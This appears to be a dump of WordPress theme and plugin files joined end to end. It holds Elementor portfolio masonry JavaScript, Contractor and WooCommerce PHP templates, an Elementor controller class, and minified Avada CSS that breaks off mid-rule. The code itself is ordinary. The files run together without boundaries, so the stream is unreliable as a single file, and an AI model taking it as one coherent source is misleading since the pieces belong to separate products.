      selectors: {
        postsContainer: '.elementor-posts-container',
        post: '.elementor-post',
        postThumbnail: '.elementor-post__thumbnail',
        postThumbnailImage: '.elementor-post__thumbnail img'
      }
    };
  },

  getDefaultElements() {
    var selectors = this.getSettings('selectors');
    return {
      $postsContainer: this.$element.find(selectors.postsContainer),
      $posts: this.$element.find(selectors.post)
    };
  },

  fitImage($post) {
    var settings = this.getSettings(),
        $imageParent = $post.find(settings.selectors.postThumbnail),
        $image = $imageParent.find('img'),
        image = $image[0];

    if (!image) {
      return;
    }

    var imageParentRatio = $imageParent.outerHeight() / $imageParent.outerWidth(),
        imageRatio = image.naturalHeight / image.naturalWidth;
    $imageParent.toggleClass(settings.classes.fitHeight, imageRatio < imageParentRatio);
  },

  fitImages() {
    var $ = jQuery,
        self = this,
        itemRatio = getComputedStyle(this.$element[0], ':after').content,
        settings = this.getSettings();

    if (self.isMasonryEnabled()) {
      this.elements.$postsContainer.removeClass(settings.classes.hasItemRatio);
      return;
    }

    this.elements.$postsContainer.toggleClass(settings.classes.hasItemRatio, !!itemRatio.match(/\d/));
    this.elements.$posts.each(function () {
      var $post = $(this),
          $image = $post.find(settings.selectors.postThumbnailImage);
      self.fitImage($post);
      $image.on('load', function () {
        self.fitImage($post);
      });
    });
  },

  setColsCountSettings() {
    var currentDeviceMode = elementorFrontend.getCurrentDeviceMode(),
        settings = this.getElementSettings(),
        skinPrefix = this.getSkinPrefix(),
        colsCount;

    switch (currentDeviceMode) {
      case 'mobile':
        colsCount = settings[skinPrefix + 'columns_mobile'];
        break;

      case 'tablet':
        colsCount = settings[skinPrefix + 'columns_tablet'];
        break;

      default:
        colsCount = settings[skinPrefix + 'columns'];
    }

    this.setSettings('colsCount', colsCount);
  },

  isMasonryEnabled() {
    return !!this.getElementSettings(this.getSkinPrefix() + 'masonry');
  },

  initMasonry() {
    imagesLoaded(this.elements.$posts, this.runMasonry);
  },

  runMasonry() {
    var elements = this.elements;
    elements.$posts.css({
      marginTop: '',
      transitionDuration: ''
    });
    this.setColsCountSettings();
    var colsCount = this.getSettings('colsCount'),
        hasMasonry = this.isMasonryEnabled() && colsCount >= 2;
    elements.$postsContainer.toggleClass('elementor-posts-masonry', hasMasonry);

    if (!hasMasonry) {
      elements.$postsContainer.height('');
      return;
    }
    /* The `verticalSpaceBetween` variable is setup in a way that supports older versions of the portfolio widget */


    var verticalSpaceBetween = this.getElementSettings(this.getSkinPrefix() + 'row_gap.size');

    if ('' === this.getSkinPrefix() && '' === verticalSpaceBetween) {
      verticalSpaceBetween = this.getElementSettings(this.getSkinPrefix() + 'item_gap.size');
    }

    var masonry = new elementorModules.utils.Masonry({
      container: elements.$postsContainer,
      items: elements.$posts.filter(':visible'),
      columnsCount: this.getSettings('colsCount'),
      verticalSpaceBetween: verticalSpaceBetween || 0
    });
    masonry.run();
  },

  run() {
    // For slow browsers
    setTimeout(this.fitImages, 0);
    this.initMasonry();
  },

  onInit() {
    elementorModules.frontend.handlers.Base.prototype.onInit.apply(this, arguments);
    this.bindEvents();
    this.run();
  },

  onWindowResize() {
    this.fitImages();
    this.runMasonry();
  },

  onElementChange() {
    this.fitImages();
    setTimeout(this.runMasonry);
  }

});

exports["default"] = _default;

/***/ })

}]);
//# sourceMappingURL=portfolio.71a295881db9bf336b34.bundle.js.map<?php
/**
 * Template part for displaying posts.
 *
 * @link https://codex.wordpress.org/Template_Hierarchy
 *
 * @package Contractor
 */
?>
<article id="post-<?php the_ID(); ?>" <?php post_class( 'posts-list__item card' ); ?>>

	<?php $utility       = contractor_utility()->utility;
	$blog_featured_image = get_theme_mod( 'blog_featured_image', contractor_theme()->customizer->get_default( 'blog_featured_image' ) );
	?>

	<?php if ( 'small' === $blog_featured_image ) : ?>
		<figure class="post-thumbnail">
			<?php contractor_post_formats_gallery(); ?>
		</figure><!-- .post-thumbnail -->
	<?php endif; ?>

	<div class="post-list__item-content">
		<?php if ( 'small' === $blog_featured_image ) :
			get_template_part( 'template-parts/content-entry-meta-loop' );
		endif; ?>

		<header class="entry-header">
			<?php contractor_sticky_label(); ?>

			<?php $title_html = ( is_single() ) ? '<h3 %1$s>%4$s</h3>' : '<h4 %1$s><a href="%2$s" rel="bookmark">%4$s</a></h4>';

			$utility->attributes->get_title( array(
				'class' => 'entry-title',
				'html'  => $title_html,
				'echo'  => true,
			) );
			?>
		</header><!-- .entry-header -->

		<?php if ( 'small' !== $blog_featured_image ) : ?>
			<figure class="post-thumbnail">
				<?php contractor_post_formats_gallery(); ?>
			</figure><!-- .post-thumbnail -->
		<?php endif; ?>

		<div class="entry-content">
			<?php $blog_content = get_theme_mod( 'blog_posts_content', contractor_theme()->customizer->get_default( 'blog_posts_content' ) );
			$length             = ( 'full' === $blog_content ) ? -1 : 55;
			$content_visible    = ( 'none' !== $blog_content ) ? true : false;
			$content_type       = ( 'full' !== $blog_content ) ? 'post_excerpt' : 'post_content';

			$utility->attributes->get_content( array(
				'visible'      => $content_visible,
				'length'       => $length,
				'content_type' => $content_type,
				'echo'         => true,
			) );
			?>
		</div><!-- .entry-content -->

		<footer class="entry-footer">
			<?php if ( 'small' !== $blog_featured_image ) :
				get_template_part( 'template-parts/content-entry-meta-loop' );
			endif; ?>

			<?php contractor_share_buttons( 'loop' ); ?>

			<?php $btn_text = get_theme_mod( 'blog_read_more_text', contractor_theme()->customizer->get_default( 'blog_read_more_text' ) );
			$btn_visible    = $btn_text ? true : false;

			$utility->attributes->get_button( array(
				'visible' => $btn_visible,
				'class'   => 'link',
				'text'    => $btn_text,
				'icon'    => '<i class="linearicon linearicon-arrow-right"></i>',
				'html'    => '<a href="%1$s" %3$s><span class="link__text">%4$s</span>%5$s</a>',
				'echo'    => true,
			) );
			?>
		</footer><!-- .entry-footer -->
	</div><!-- .post-list__item-content -->

</article><!-- #post-## -->
<?php
namespace Elementor\App\Modules\KitLibrary\Data;

use Elementor\Plugin;
use Elementor\Data\V2\Base\Controller;
use Elementor\Core\Utils\Collection;
use Elementor\Modules\Library\User_Favorites;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

abstract class Base_Controller extends Controller {
	/**
	 * @var Repository
	 */
	private $repository;

	/**
	 * @return Repository
	 */
	public function get_repository() {
		if ( ! $this->repository ) {
			/** @var \Elementor\Core\Common\Modules\Connect\Module $connect */
			$connect = Plugin::$instance->common->get_component( 'connect' );

			$subscription_plans = ( new Collection( $connect->get_subscription_plans() ) )
				->map( function ( $value ) {
					return $value['label'];
				} );

			$this->repository = new Repository(
				$connect->get_app( 'kit-library' ),
				new User_Favorites( get_current_user_id() ),
				$subscription_plans
			);
		}

		return $this->repository;
	}
}
[class*=" awb-icon-"],[class^=awb-icon-]{font-family:awb-icons!important;speak:never;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.awb-icon-twitter:before{content:"\e90b"}.awb-icon-question-circle:before{content:"\e908"}.awb-icon-buy-now-cart:before{content:"\e907"}.awb-icon-avada-logo:before{content:"\e971"}.awb-icon-wechat:before{content:"\e905"}.awb-icon-weixin:before{content:"\e905"}.awb-icon-phone:before{content:"\e942"}.awb-icon-user2:before{content:"\e61b"}.awb-icon-check:before{content:"\f00c"}.awb-icon-tiktok:before{content:"\e906"}.awb-icon-discord:before{content:"\e903"}.awb-icon-FB_logo_black-solid-1:before{content:"\e902"}.awb-icon-map-marker-alt:before{content:"\e901"}.awb-icon-pen:before{content:"\e600"}.awb-icon-yahoo:before{content:"\e601"}.awb-icon-pinterest:before{content:"\e602"}.awb-icon-myspace:before{content:"\e603"}.awb-icon-facebook:before{content:"\e604"}.awb-icon-feed:before{content:"\e606"}.awb-icon-rss:before{content:"\e606"}.awb-icon-vimeo:before{content:"\e607"}.awb-icon-flickr:before{content:"\e608"}.awb-icon-dribbble:before{content:"\e609"}.awb-icon-blogger:before{content:"\e60b"}.awb-icon-soundcloud:before{content:"\e60c"}.awb-icon-reddit:before{content:"\e60d"}.awb-icon-paypal:before{content:"\e60e"}.awb-icon-linkedin:before{content:"\e60f"}.awb-icon-digg:before{content:"\e610"}.awb-icon-dropbox:before{content:"\e611"}.awb-icon-tumblr:before{content:"\e613"}.awb-icon-grid:before{content:"\e614"}.awb-icon-mail:before{content:"\e616"}.awb-icon-forrst:before{content:"\e617"}.awb-icon-skype:before{content:"\e618"}.awb-icon-link:before{content:"\e619"}.awb-icon-user:before{content:"\e61a"}.awb-icon-minus:before{content:"\e61c"}.awb-icon-plus:before{content:"\e61d"}.awb-icon-arrow-left:before{content:"\e61e"}.awb-icon-arrow-down:before{content:"\e61f"}.awb-icon-uniE620:before{content:"\e620"}.awb-icon-arrow-down2:before{content:"\e621"}.awb-icon-youtube:before{content:"\e622"}.awb-icon-list:before{content:"\e623"}.awb-icon-image:before{content:"\e624"}.awb-icon-images:before{content:"\e625"}.awb-icon-quotes-left:before{content:"\e627"}.awb-icon-film:before{content:"\e628"}.awb-icon-headphones:before{content:"\e629"}.awb-icon-bubbles:before{content:"\e62a"}.awb-icon-search:before{content:"\f002"}.awb-icon-star:before{content:"\f005"}.awb-icon-star-o:before{content:"\f006"}.awb-icon-gear:before{content:"\f013"}.awb-icon-check-square-o:before{content:"\f046"}.awb-icon-check-circle-o:before{content:"\f05d"}.awb-icon-shopping-cart:before{content:"\f07a"}.awb-icon-bars:before{content:"\f0c9"}.awb-icon-caret-left:before{content:"\f0d9"}.awb-icon-caret-right:before{content:"\f0da"}.awb-icon-angle-left:before{content:"\f104"}.awb-icon-angle-right:before{content:"\f105"}.awb-icon-angle-up:before{content:"\f106"}.awb-icon-angle-down:before{content:"\f107"}.awb-icon-spinner:before{content:"\f110"}.awb-icon-vk:before{content:"\f189"}.awb-icon-instagram:before{content:"\ea92"}.awb-icon-deviantart:before{content:"\eaaa"}.awb-icon-yelp:before{content:"\ead7"}.awb-icon-xing:before{content:"\e4d8"}.awb-icon-spotify:before{content:"\ea94"}.awb-icon-whatsapp:before{content:"\f232"}.awb-icon-eye:before{content:"\f06e"}.awb-icon-twitch:before{content:"\ea9f"}.awb-icon-telegram:before{content:"\f1d8"}.awb-icon-teams:before{content:"\e900"}.awb-icon-close:before{content:"\e904"}.awb-icon-exclamation-triangle:before{content:"\f071"}.awb-icon-cog:before{content:"\f014"}.awb-icon-check-circle:before{content:"\f058"}.awb-icon-info-circle:before{content:"\f05a"}.awb-icon-video:before{content:"\e90a"}.awb-icon-carousel:before{content:"\e909"}.awb-icon-eye-slash:before{content:"\f070"}.awb-icon-snapchat:before{content:"\f2ac"}<?php
/**
 * Single Product Image
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/single-product/product-image.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     //woo.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 7.8.0
 */

defined( 'ABSPATH' ) || exit;

// Note: `wc_get_gallery_image_html` was added in WC 3.3.2 and did not exist prior. This check protects against theme overrides being used on older versions of WC.
if ( ! function_exists( 'wc_get_gallery_image_html' ) ) {
	return;
}

global $product;

$columns           = apply_filters( 'woocommerce_product_thumbnails_columns', 4 );
$post_thumbnail_id = $product->get_image_id();
$wrapper_classes   = apply_filters(
	'woocommerce_single_product_image_gallery_classes',
	array(
		'woocommerce-product-gallery',
		'woocommerce-product-gallery--' . ( $post_thumbnail_id ? 'with-images' : 'without-images' ),
		'woocommerce-product-gallery--columns-' . absint( $columns ),
		'images',
	)
);
?>
<div class="<?php echo esc_attr( implode( ' ', array_map( 'sanitize_html_class', $wrapper_classes ) ) ); ?>" data-columns="<?php echo esc_attr( $columns ); ?>" style="opacity: 0; transition: opacity .25s ease-in-out;">
	<div class="woocommerce-product-gallery__wrapper">
		<?php
		if ( $post_thumbnail_id ) {
			$html = wc_get_gallery_image_html( $post_thumbnail_id, true );
		} else {
			$html  = '<div class="woocommerce-product-gallery__image--placeholder">';
			$html .= sprintf( '<img src="%s" alt="%s" class="wp-post-image" />', esc_url( wc_placeholder_img_src( 'woocommerce_single' ) ), esc_html__( 'Awaiting product image', 'woocommerce' ) );
			$html .= '</div>';
		}

		echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', $html, $post_thumbnail_id ); // phpcs:disable WordPress.XSS.EscapeOutput.OutputNotEscaped

		do_action( 'woocommerce_product_thumbnails' );
		?>
	</div>
</div>
*{box-sizing:border-box}.fusionicon-arrow-down2{display:table-cell;vertical-align:middle}.icomoon-up:before{display:inline-block;transform:rotate(180deg)}input[type=date],input[type=datetime-local],input[type=datetime],input[type=email],input[type=month],input[type=number],input[type=password],input[type=search],input[type=submit],input[type=tel],input[type=text],input[type=time],input[type=url],input[type=week],textarea{-webkit-appearance:none;-webkit-border-radius:0}input[type=search]::-webkit-search-decoration{-webkit-appearance:none}input[type=image]{padding:0;border:none}body{margin:0;min-width:320px;-webkit-text-size-adjust:100%;overflow-x:hidden;overflow-y:scroll;color:var(--body_typography-color);font-size:var(--body_typography-font-size,16px);font-family:var(--body_typography-font-family,inherit)}body.fusion-blank-page.admin-bar{top:32px;height:calc(100vh - 32px)}body #wrapper .gomapMarker{color:#333}#boxed-wrapper{overflow-x:hidden;overflow-x:clip}#wrapper{overflow:visible}#wrapper .tp-bullets{transform:translateZ(0)}#wrapper .strip-html .fusion-dropcap{top:0;float:none;margin:0;padding:0;background-color:inherit!important;box-shadow:none;line-height:inherit;text-shadow:none;color:inherit!important;font-size:inherit}#wrapper .strip-html .fusion-highlight{background-color:inherit!important;color:inherit!important}#wrapper .strip-html .fusion-tooltip{color:inherit;border-bottom:1px dotted}.fusion-blank-page{display:table;height:100%;width:100%;position:absolute;margin:0;left:0;right:0;top:0;overflow-x:hidden}.wrapper_blank{float:none;vertical-align:middle;width:100%}.wrapper_blank #main{background:0 0;padding:0}.fusion-body #wrapper.wrapper_blank{display:table-cell;margin:0;max-width:none}.error404 .search-page-search-form{margin-bottom:0;padding-bottom:0;border:none}.fusion-404-checklist .fusion-custom-menu-item{display:none}img{border-style:none;vertical-align:top;max-width:100%;height:auto}object{max-width:100%}a{text-decoration:none}input,select,textarea{font-family:var(--body_typography-font-family,inherit);vertical-align:middle;color:var(--body_typography-color)}select{border-style:solid}fieldset,form{margin:0;padding:0;border-style:none}.wp-caption{max-width:100%}.search-table{display:table;width:100%}#fallback-slide{display:none}#fallback-slide img{width:100%}.gallery-box{background:#3d3c3c;padding:0 10px}.gallery-box img{width:100%}#wrapper .product-category a h2.woocommerce-loop-category__title,.fusion-main-menu>ul>li>a .fusion-menu-description,a,a:after,a:before{transition-property:color,background-color,border-color;transition-duration:.2s;transition-timing-function:linear}.fusion-accordian .panel-title a .fa-fusion-box,.woocommerce .social-share li .fontawesome-icon{transition-property:color,background-color,border-color;transition-duration:.2s;transition-timing-function:linear}.gallery{margin:0 auto;max-width:1400px}#main{padding:55px 10px 45px;clear:both}#main .sidebar.fusion-sticky-sidebar{padding:0}.col .heading{overflow:hidden;margin:0 0 15px}.col .heading img{float:left;margin:0 10px 0 0}.col p{margin:0 0 23px}.avada-myaccount-data h2{margin-top:0}.content-boxes .more{margin-top:18px}.content-boxes .heading .fontawesome-icon{float:left}.content-boxes .heading-and-icon h2{padding-left:45px}.content-boxes-icon-boxed.columns-5 .col{width:12.8%}.content-boxes-icon-boxed.columns-4 .col{width:18%}.content-boxes-icon-boxed.columns-3 .col{width:26.65%}.content-boxes-icon-boxed.columns-2 .col{width:44%}.content-boxes-icon-boxed.columns-1 .col{width:96%}.container{overflow:hidden}.container .columns .col{width:31.42857%;padding:0 2.85714% 0 0}.container .columns .col.last{margin-right:0}.container .col img{width:100%}.container .holder{overflow:hidden}.container h3 a.active{text-decoration:none;color:#65bc7b}.slider{overflow:hidden}.review{width:100%}.meta{list-style:none;margin:0 0 13px;padding:0;overflow:hidden;font-size:12px;line-height:14px;color:#333}.meta li{float:left;padding:0 8px 0 9px;border-left:1px solid #333}.meta li:first-child{padding-left:0;border-left:0}#content{width:71.1702128%;float:left;min-height:1px}#content.full-width{width:100%}#posts-container{position:relative}.single .comments-container{margin-top:55px;clear:both}.post{margin-bottom:65px}.single-post .post{margin-bottom:0}.post .image{margin-bottom:40px}.avada_faq .meta-info,.single .post .meta-info{margin-bottom:55px}.search input{border:1px solid #e7e6e6;padding:8px 15px;font-size:13px;color:#333;display:block}.bbp-pagination .bbp-pagination-links,.fusion-pagination,.page-links,.pagination,.woocommerce-pagination{display:flex;flex-wrap:wrap;align-items:center;justify-content:flex-end;margin-top:40px;font-size:9px;line-height:normal}.page-links{margin-bottom:40px;margin-top:30px}#bbpress-forums .bbp-pagination .bbp-pagination-links .current,#bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-next,#bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-prev,#bbpress-forums .bbp-pagination .bbp-pagination-links a.inactive,#bbpress-forums .bbp-pagination-links span.dots,#bbpress-forums .bbp-topic-pagination .page-numbers,.fusion-pagination .current,.fusion-pagination .next,.fusion-pagination .page-numbers,.fusion-pagination .prev,.page-links a,.page-links>.page-number,.pagination .current,.pagination .pagination-next,.pagination .pagination-prev,.pagination a.inactive,.woocommerce-pagination .current,.woocommerce-pagination .next,.woocommerce-pagination .page-numbers,.woocommerce-pagination .prev{display:inline-flex;position:relative;float:none;margin:0 4px;padding:0;border:1px solid;align-items:center;justify-content:center}.fusion-pagination-circle #bbpress-forums .bbp-pagination .bbp-pagination-links .current,.fusion-pagination-circle #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-next,.fusion-pagination-circle #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-prev,.fusion-pagination-circle #bbpress-forums .bbp-pagination .bbp-pagination-links a.inactive,.fusion-pagination-circle #bbpress-forums .bbp-pagination-links span.dots,.fusion-pagination-circle #bbpress-forums .bbp-topic-pagination .page-numbers,.fusion-pagination-circle .fusion-pagination .current,.fusion-pagination-circle .fusion-pagination .next,.fusion-pagination-circle .fusion-pagination .page-numbers,.fusion-pagination-circle .fusion-pagination .prev,.fusion-pagination-circle .page-links a,.fusion-pagination-circle .page-links>.page-number,.fusion-pagination-circle .pagination .current,.fusion-pagination-circle .pagination .pagination-next,.fusion-pagination-circle .pagination .pagination-prev,.fusion-pagination-circle .pagination a.inactive,.fusion-pagination-circle .woocommerce-pagination .current,.fusion-pagination-circle .woocommerce-pagination .next,.fusion-pagination-circle .woocommerce-pagination .page-numbers,.fusion-pagination-circle .woocommerce-pagination .prev{border-radius:50%}#bbpress-forums .bbp-pagination .bbp-pagination-links .current,.fusion-pagination .current,.page-links>.page-number,.pagination .current,.woocommerce-pagination .current{color:#fff}.pagination.page-links a:hover{border-color:inherit}.pagination .pagination-dots{display:inline-block;text-align:center}.fusion-pagination .next,.fusion-pagination .pagination-next,.fusion-pagination .pagination-prev,.fusion-pagination .prev,.woocommerce-pagination .next,.woocommerce-pagination .pagination-next,.woocommerce-pagination .pagination-prev,.woocommerce-pagination .prev{padding-left:0;padding-right:0}.fusion-pagination .next,.fusion-pagination .next:hover,.fusion-pagination .prev,.fusion-pagination .prev:hover,.woocommerce-pagination .next,.woocommerce-pagination .next:hover,.woocommerce-pagination .prev,.woocommerce-pagination .prev:hover{border:0}.fusion-show-pagination-text #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-next,.fusion-show-pagination-text #bbpress-forums .bbp-pagination .bbp-pagination-links .pagination-prev,.fusion-show-pagination-text .fusion-pagination .next,.fusion-show-pagination-text .fusion-pagination .prev,.fusion-show-pagination-text .pagination .pagination-next,.fusion-show-pagination-text .pagination .pagination-prev,.fusion-show-pagination-text .woocommerce-pagination .next,.fusion-show-pagination-text .woocommerce-pagination .prev{border:none}.fusion-show-pagination-text #bbpress-forums .bbp-pagination-links,.fusion-show-pagination-text .pagination{margin-left:1em;margin-right:1em}.fusion-show-pagination-text .fusion-pagination .next,.fusion-show-pagination-text .fusion-pagination .pagination-next,.fusion-show-pagination-text .fusion-pagination .pagination-prev,.fusion-show-pagination-text .fusion-pagination .prev,.fusion-show-pagination-text .woocommerce-pagination .next,.fusion-show-pagination-text .woocommerce-pagination .pagination-next,.fusion-show-pagination-text .woocommerce-pagination .pagination-prev,.fusion-show-pagination-text .woocommerce-pagination .prev{padding:0}body.fusion-hide-pagination-text .page-text{display:none}body.fusion-hide-pagination-text .pagination-next,body.fusion-hide-pagination-text .pagination-prev{border-style:solid}body.fusion-hide-pagination-text .pagination-next:after{right:auto}body.fusion-hide-pagination-text.ltr .fusion-blog-pagination .pagination-prev,body.fusion-hide-pagination-text.ltr .pagination-prev{margin-left:0}body.fusion-hide-pagination-text.ltr .fusion-blog-pagination .pagination-next,body.fusion-hide-pagination-text.ltr .pagination-next{margin-right:0}body.fusion-hide-pagination-text.ltr .fusion-pagination .prev,body.fusion-hide-pagination-text.ltr .woocommerce-pagination .prev{margin-left:0}body.fusion-hide-pagination-text.ltr .fusion-pagination .next,body.fusion-hide-pagination-text.ltr .woocommerce-pagination .next{margin-right:0}body.fusion-hide-pagination-text .pagination-next:after,body.fusion-hide-pagination-text .pagination-prev:before{position:static;transform:none}body.fusion-hide-pagination-text .fusion-pagination .next,body.fusion-hide-pagination-text .fusion-pagination .prev,body.fusion-hide-pagination-text .woocommerce-pagination .next,body.fusion-hide-pagination-text .woocommerce-pagination .prev{border-style:solid}body.fusion-hide-pagination-text .fusion-pagination .next:after,body.fusion-hide-pagination-text .fusion-pagination .prev:before,body.fusion-hide-pagination-text .woocommerce-pagination .next:after,body.fusion-hide-pagination-text .woocommerce-pagination .prev:before{position:static;transform:none}.img-list{overflow:hidden}.img-list li{padding:5px;background:0 0;float:left}.img-list a{background:0 0;height:auto;width:auto;text-indent:0;border:0}.about-author{margin-top:55px;overflow:hidden;clear:both}.about-author .title a{color:#65bc7b}.about-author div.avatar{float:left;margin-right:20px;margin-bottom:5px}.related-posts{margin-top:55px}.related-posts .image{width:180px;height:138px;margin-bottom:0}.single-related-posts{clear:both}.commentlist{list-style:none;margin:0;padding:0;margin-bottom:65px}.commentlist .children{list-style:none outside none}.commentlist li{margin:0;padding:0}.commentlist .the-comment{border-bottom:1px solid #e7e6e6;padding-bottom:25px;margin-bottom:25px}.commentlist .the-comment .comment-text{margin-left:69px}.commentlist .the-comment .comment-text :last-child{margin-bottom:0}.commentlist div.avatar{float:left;margin-right:15px}.commentlist .comment-author strong{padding-right:5px}#respond{margin-top:40px}#respond #cancel-comment-reply-link{margin-inline-start:10px}.comments-container #respond{margin-bottom:40px}#s:not(.fusion-form-input),.comment-form input{border:1px solid #d2d2d2;min-width:28%;font-size:13px;color:#747474;padding-left:15px;padding-right:15px;float:left}.comment-form #comment-submit{margin:0;min-width:auto}.comment-form input,.s{float:none}.comment-form-comment textarea{border:1px solid #d2d2d2;width:100%;height:150px;font-size:13px;color:#747474;padding:12px 15px}.comment-form .comment-form-cookies-consent{margin-top:20px}.comment-form .comment-form-cookies-consent input{min-width:auto}.comment-form .form-submit{margin-top:20px;margin-bottom:0}#ui-datepicker-div,.ui-datepicker-div,.ui-datepicker-inline{border-color:#e9eaee}.ui-datepicker-header select,table.ui-datepicker td a{background-color:#e9eaee}.ui-datepicker-header select{border:1px solid #d2d2d2}#tribe-bar-form input[type=text],.input-text,.tribe-bar-disabled #tribe-bar-form .tribe-bar-filters input[type=text],input[type=date],input[type=email],input[type=number],input[type=password],input[type=tel],input[type=text],input[type=time]{border:1px solid #d2d2d2;font-size:13px;color:#747474;padding:8px 15px;width:100%;box-sizing:border-box}.select2-container .select2-choice,.select2-results .select2-result-label{padding-left:15px;padding-right:15px}#tribe-bar-form input[type=text]::-webkit-input-placeholder{font-style:normal}#tribe-bar-form input[type=text]:-moz-placeholder{font-style:normal}#tribe-bar-form input[type=text]::-moz-placeholder{font-style:normal}#shipping_method input[type=radio],.input-radio{background:0 0;-webkit-appearance:checkbox;appearance:checkbox}.single-navigation{min-height:34px;line-height:34px;border-top:1px solid #e7e6e6;border-bottom:1px solid #e7e6e6;margin-bottom:60px;text-align:right}.single-navigation a{display:inline-block;position:relative}.single-navigation a[rel=next]{margin-left:15px;margin-right:1em}.fusion-pagination .prev:before,.pagination-prev:before,.single-navigation a[rel=prev]:before,.woocommerce-pagination .prev:before{position:absolute;top:50%;transform:translateY(-51%);left:-1em;font-family:awb-icons;content:"\f104"}.fusion-pagination .next:after,.pagination-next:after,.single-navigation a[rel=next]:after,.woocommerce-pagination .next:after{position:absolute;top:50%;transform:translateY(-51%);right:-1em;font-family:awb-icons;content:"\f105"}.side-nav{list-style:none;margin:0;padding:0;border-top:1px solid #ededed;margin-bottom:20px}.side-nav ul{list-style:none;margin:0;padding:0}.side-nav li{margin:0;padding:0}.side-nav li a{border-bottom:1px solid #ededed;display:block;height:auto;font-weight:400;font-size:14px;color:#333;line-height:1.69em;padding:8px 0}.side-nav li a:hover{background:0 0}.side-nav li.current_page_item>a{background:0 0;color:#65bc7b}.side-nav li.current_page_item li a{color:#333;border-bottom:1px solid #ededed}.side-nav .children{display:none;margin-left:15px}.side-nav .arrow{display:inline;margin-left:0}.side-nav .arrow:after{position:absolute;font-size:14px;font-family:awb-icons}.side-nav-left .side-nav{border-right:1px solid #ededed}.side-nav-left .side-nav li.current_page_item>a{border-right:3px solid #65bc7b}.side-nav-left .side-nav .arrow{margin-left:10px}.side-nav-left .side-nav .arrow:after{content:"\f105"}.side-nav-right .side-nav{border-left:1px solid #ededed}.side-nav-right .side-nav li.current_page_item>a{padding-left:23px;border-left:3px solid #65bc7b}.side-nav-right .side-nav li a{padding-left:25px}.side-nav-right .side-nav .arrow{margin-right:10px}.side-nav-right .side-nav .arrow:after{content:"\f104"}.side-nav-right .side-nav .children{margin-left:40px}.side-nav-right .side-nav .children a{padding-left:0}.woocommerce-tabs .tabs a:hover .arrow,.woocommerce-tabs .tabs li.active a .arrow{display:inline-block;margin-left:10px;padding-right:0}.woocommerce-tabs .panel .panel{margin-left:auto;padding:0}.toggle-content{padding-top:10px;padding-bottom:15px;position:relative}h5.toggle.active+.toggle-content{border-bottom:1px solid #e8e6e6}.clearboth{clear:both;display:block;font-size:0;height:0;line-height:0;width:100%;overflow:hidden}.shortcode-tabs{margin-bottom:50px}.shortcode-tabs .tab-hold .tabs li{border-right:0;box-sizing:border-box}.shortcode-tabs .tab-hold .tabs li a{display:block;width:100%;padding:0;text-indent:15px}.shortcode-tabs .tab-hold .tabs li.active a{background:0 0}.shortcode-tabs .tab_content{padding:15px;overflow:hidden}.shortcode-tabs .tab_content :last-child{margin-bottom:0}.fusion-post-content p,.post-content p{margin:0 0 20px}.fusion-post-content ul.arrow,.post-content ul.arrow{list-style:none;margin:0;padding:0}.fusion-post-content ul.arrow li,.post-content ul.arrow li{line-height:18px;margin:0;padding:0;margin-bottom:15px;padding-left:25px}.fusion-post-content ul.arrow li:before,.post-content ul.arrow li:before{display:inline-block;background-repeat:no-repeat;background-position:center center;background-color:#65bc7b;height:18px;border-radius:75px;width:18px;position:absolute;font-size:14px;content:"\f105";float:left;margin-right:0;margin-left:-25px;font-family:awb-icons;text-align:center;font-weight:400;-webkit-font-smoothing:antialiased;color:#fff;line-height:17px;text-indent:1px}.fusion-body blockquote{background:#f5f5f5;font-family:var(--body_typography-font-family);font-weight:var(--body_typography-font-weight);letter-spacing:var(--body_typography-letter-spacing);font-size:var(--body_typography-font-size);line-height:var(--body_typography-line-height);color:var(--body_typography-color);border-left:4px solid #65bc7b;padding:15px;margin-top:2em;margin-bottom:2em;font-style:italic}.fusion-body blockquote q{font-style:inherit}.fusion-body blockquote :last-child{margin-bottom:0}.comment-text .fusion-body blockquote p:first-child{margin-top:0}.reading-box-container{margin:0 0 84px}.reading-box{padding:28px 28px 27px 31px;border-left:3px solid #65bc7b;background:#f2efef}.continue{float:right}.avada-google-map{height:416px;margin-bottom:50px;overflow:hidden}#gmap img,.shortcode-map img{max-width:none}.flickr_badge_image img,.pyre_tabs img,.recent-works-items img{transition:all .2s}.flickr_badge_image img:hover,.pyre_tabs img:hover,.recent-works-items img:hover{opacity:.5}.error-page .useful-links{width:30.66%;padding-left:5%}.error-page .oops{font-size:117px;margin:0 0 20px;line-height:117px;font-weight:bolder;color:#f0f0f0;font-family:"PT Sans",Arial,Helvetica,sans-serif}.has-sidebar .error-page .oops{font-size:90px;line-height:90px}.error_page .oops h1{font-family:"PT Sans",Arial,Helvetica,sans-serif}.fontawesome-icon{display:inline-block;float:left}.aligncenter .fontawesome-icon,.fusion-alignleft .fontawesome-icon,.fusion-alignright .fontawesome-icon{float:none}.fontawesome-icon{margin-right:10px}.fontawesome-icon.circle-yes{border-radius:75px;border-width:1px;border-style:solid;background-color:#333;color:#fff;text-align:center;margin-top:2px}.fontawesome-icon.large{font-size:40px}.fontawesome-icon.large.circle-yes{width:70px;height:70px;line-height:70px}.fontawesome-icon.medium{font-size:18px}.fontawesome-icon.medium.circle-yes{width:35px;height:35px;line-height:35px}.fontawesome-icon.small{font-size:10px}.fontawesome-icon.small.circle-yes{width:18px;height:18px;line-height:19px}.fontawesome-icon.circle-no.large{margin-top:2px}.fontawesome-icon.circle-no.medium{margin-top:3px}.fontawesome-icon.circle-no.small{margin-top:5px}.icon-heading .fontawesome-icon{margin-top:-6px}.main-flex{overflow:hidden;width:100%;margin-left:auto;margin-right:auto}.chat-icon{display:inline-block;width:26px;height:19px;margin-top:9px}.blog-shortcode 